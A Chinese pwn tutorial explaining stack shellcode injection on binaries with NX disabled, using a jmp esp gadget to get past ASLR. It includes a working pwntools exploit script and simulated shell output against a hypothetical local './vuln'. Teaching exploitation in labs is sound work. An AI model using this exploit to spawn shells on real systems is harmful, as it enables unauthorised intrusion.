写在前面:在上一篇中,我们通过 ret2win 成功跳进了程序自带的现成后门。但如果程序里没有后门函数呢?这时候,我们就必须“自带干粮”——把一段机器码(Shellcode)注入到程序的内存中,然后想方设法让 EIP/RIP 跳过去执行它。本文将带你解开 NX 保护关闭时的栈上 Shellcode 注入之谜,并深入讲解最经典的 jmp esp 跳转技术。

📑 目录

  1. 前提条件:什么时候能打 Shellcode?
  2. 核心痛点:栈地址随机化(ASLR)带来的跳转困境
  3. 破局之法:jmp esp / call eax 类跳转指令
  4. 实战推演:32 位下的 jmp esp 注入全流程
  5. 64 位下的演变:jmp rsp 与寄存器传参

1. 前提条件:什么时候能打 Shellcode?

打栈上 Shellcode 的唯一硬性前提是:NX(不可执行保护)必须关闭
当 checksec 查出程序具有 NX disabled(或栈溢出保护未开启)时,意味着内存页的权限是 rwx(可读可写可执行)。我们写入栈中的机器码,CPU 可以直接将其作为指令执行。如果 NX 开启,栈是 rw-,你写进去一执行就会触发段错误。

2. 核心痛点:栈地址随机化(ASLR)带来的跳转困境

假设 NX 关闭,我们通过溢出把 Shellcode 放在了栈上的 buf 数组里。现在的问题是如何让 EIP 指向它?

最直观的想法是:用 GDB 查到 buf 的栈地址(比如 0xffffcd40),然后把它作为返回地址覆盖上去。

痛点所在:
一旦系统开启了 ASLR,栈的基址每次运行都在变。你在 GDB 里查到的 0xffffcd40,在真实运行时可能变成了 0xffffd1a0。硬编码栈地址大概率会跳转到非法内存导致崩溃。

3. 破局之法:jmp esp / call eax 类跳转指令

既然硬编码地址不行,我们需要一种动态定位的方法。此时,我们要观察 ret 指令执行前后的寄存器状态。

32 位系统中的奇妙现象:
当函数执行 ret 指令时,等价于 pop eip

  1. ESP(栈顶指针)原本指向被覆盖的返回地址。
  2. CPU 把这个返回地址弹入 EIP,同时 ESP = ESP + 4
  3. 此时,ESP 恰好指向了返回地址正后方的内存!

如果我们把 Shellcode 放在返回地址的后面,并且让返回地址指向一条 jmp esp 的机器码。那么 ret 执行完毕后,EIP 跳到了 jmp esp,紧接着 CPU 就会执行 ESP 指向的内存——也就是我们的 Shellcode!

如何找 jmp esp
jmp esp 的机器码是 \xff\xe4。我们可以在程序自身或它加载的动态库(如 libc)中搜索这两个字节。

假设性说明(模拟命令行查找):
使用 pwntools 或 ROPgadget 搜索:

ROPgadget --binary vuln --only "jmp|call" | grep esp

模拟输出:

0x0804854b : jmp esp

太好了!我们找到了一个固定地址 0x0804854b。即使有 ASLR,程序自身的代码段(除非开了 PIE)地址也是固定的。

同理,如果是 call eax(机器码 \xff\xd0),通常是因为 eax 寄存器恰好存放了 Shellcode 的地址,原理同上。

4. 实战推演:32 位下的 jmp esp 注入全流程

假设性场景:
32 位程序 vuln,NX 关闭,未开启 PIE。偏移量为 28。存在 jmp esp 地址 0x0804854b

栈结构设计:

低地址
|  buf[28] (28字节填充)   |
|  0x0804854b (jmp esp)  | <- 覆盖的返回地址
|  Shellcode (/exec/sh)  | <- ESP 此时指向这里,jmp esp 后开始执行
高地址

编写 Exploit (Pwntools):

from pwn import *

context.arch = 'i386' # 32位环境
context.log_level = 'debug'

p = process('./vuln')

# 1. 准备填充和 jmp esp 地址
offset = 28
jmp_esp_addr = 0x0804854b

# 2. 生成 shellcode (pwntools自带)
# shellcraft.sh() 会生成一段调用 /bin/sh 的汇编机器码
shellcode = asm(shellcraft.sh())

# 3. 构造 Payload
# 结构:填充 + jmp_esp地址 + shellcode
payload = b'A' * offset + p32(jmp_esp_addr) + shellcode

p.sendline(payload)
p.interactive()

模拟终端输出:

[+] Starting local process './vuln': pid 54321
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

成功执行!我们不再关心 Shellcode 的绝对地址是多少,全靠 ESP 寄存器这个“向导”带我们找到它。

5. 64 位下的演变:jmp rsp 与寄存器传参

在 64 位系统中,原理完全一致,只是寄存器名字变了:ESP 变成了 RSP,我们需要找的是 jmp rsp(机器码 \xff\xe4,和 jmp esp 机器码一样)。

但是 64 位有一个致命坑点:传参方式的改变。
32 位的 shellcraft.sh() 是通过栈传参调用 execve
而 64 位必须通过寄存器传参(rdirsirdx)。如果你直接用 64 位的 shellcraft.sh(),它生成的汇编代码中可能会包含 \x00 等坏字符(因为 64 位地址前导零很多),或者因为没有正确设置寄存器而崩溃。

因此,在 64 位下进行纯 Shellcode 注入时,通常需要:

  1. 寻找 jmp rsp gadget。
  2. 手写或调整一段无坏字符的 Shellcode,确保 rdi 指向 /bin/shrsi 和 rdx 置 0,然后调用 syscall。这部分内容,我们将在下一篇“手写基础 Shellcode”中详细拆解。

6. 总结

jmp esp(或 jmp rsp)是栈溢出 Shellcode 注入中最经典、最优雅的手法。它巧妙利用了 ret 指令执行后栈指针的天然位置,完美绕过了栈地址随机化(ASLR)的阻碍。只要能在没开 PIE 的程序里找到这宝贵的两个字节,一段 Shellcode 就能瞬间苏醒。

下一篇,我们将深入底层,教你如何从零手写一段极简的 x86/x64 Shellcode,彻底告别对工具自动生成的依赖。如果本文对你有帮助,请点赞收藏支持!🙏

Logo

智能硬件社区聚焦AI智能硬件技术生态,汇聚嵌入式AI、物联网硬件开发者,打造交流分享平台,同步全国赛事资讯、开展 OPC 核心人才招募,助力技术落地与开发者成长。

更多推荐